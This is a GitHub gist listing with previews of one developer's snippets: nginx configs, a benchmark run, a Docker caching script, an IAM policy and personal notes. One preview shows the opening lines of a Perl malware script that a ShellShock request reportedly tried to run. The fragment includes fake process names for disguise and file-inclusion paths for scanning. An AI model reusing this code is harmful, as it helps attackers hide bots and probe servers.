Skip to content

Instantly share code, notes, and snippets.

@onigra
onigra / gist:bebd37d9ea9988ab4919
Created January 6, 2015 03:16
普通のnginx.conf
user nginx;
pid /var/run/nginx.pid;
worker_processes auto;
worker_rlimit_nofile 8192;
error_log /var/log/nginx/error.log warn;
events {
worker_connections 2048;
multi_accept on;
@onigra
onigra / gist:ff92467d1107a5b868e1
Last active November 23, 2021 15:34
最終的なnginx.confとビルド時のコマンド
user nginx;
pid /var/run/nginx.pid;
worker_processes auto;
worker_rlimit_nofile 8192;
error_log /var/log/nginx/error.log warn;
events {
worker_connections 2048;
multi_accept on;
@onigra
onigra / v1.md
Last active August 29, 2015 14:13
Nginxのパフォーマンスチューニング
$ ab -c 20 -n 100 http://192.168.50.7/
$ ab -c 100 -n 100 http://www.exvisionz.jp/
This is ApacheBench, Version 2.3 <$Revision: 655654 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/

Benchmarking www.exvisionz.jp (be patient).....done
@onigra
onigra / url.md
Last active August 29, 2015 14:13
アクセスログにあったShellShockを狙ったリクエストが実行しようとしてたスクリプト
#!/usr/bin/perl
=pod
my $processo =("suid","/usr/sbin/sshd","rpc.idmapd","auditd","crond","klogd -x");
my @titi = ("index.php?page=","main.php?page=");
my $goni = $titi[rand scalar @titi];
my $linas_max='3';
my $sleep='7';
@onigra
onigra / gist:17b06a26356e7cc75c82
Created March 16, 2015 10:11
DockerImageがCircleCIのキャッシュディレクトリにあったらそこからimportし、無かったらS3から取得する
#!/bin/bash
#
# docker imageのキャッシュが存在すればそれを使ってimageをビルドし、
# 無ければDockerfileから作成してキャッシュを残す。
# キャッシュは~/docker配下に保存しておく
#
if [ -e ~/docker/docker_image.tar.gz ]; then
cat ~/docker/docker_image.tar.gz | docker import - ci:latest
else
@onigra
onigra / gist:060877faa60e29f2c07f
Last active August 29, 2015 14:17
特定のセキュリティグループのInboundの追加と削除のみができるIAM policy
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"ec2:AuthorizeSecurityGroupIngress",
"ec2:RevokeSecurityGroupIngress"
],
"Resource": [
@onigra
onigra / yapc2015.md
Created September 3, 2015 05:48
YAPC::Asia 2015に行ってきました #yapcasia

(#TODO: あとで自分のブログに移す)

去年はスタッフとLTやったけど、今年は普通にチケット買って参加した。 本当はスピーカーになりたくてトークのプロポーザル出したけど全然だめだった。改めて自分はまだまだだなと思った。

聞いたトークと感想 (#TODO: ブログに移す時に真面目に書く)

@onigra
onigra / curry.md
Last active June 16, 2016 02:13
パッケージ管理システムを 🍛 で例える

パッケージ管理システム(npm)について、 🍛 で例えてみます。

🍛 って、家によって結構作り方が違うと思うんですが、
例えばあなたがぼくの実家の味を再現するにあたり、レシピが必要になると思います。

僕の実家の 🍛 では、これらの材料を使います。

- にんじん
- じゃがいも
@onigra
onigra / atom-memo.md
Last active March 24, 2017 14:15
Atomメモ

プラグイン

  • ターミナルエミュレータ
    • term3
  • git
    • git-plus
    • git-log
    • tree-view-git-status
  • ブラウザ
  • browser-plus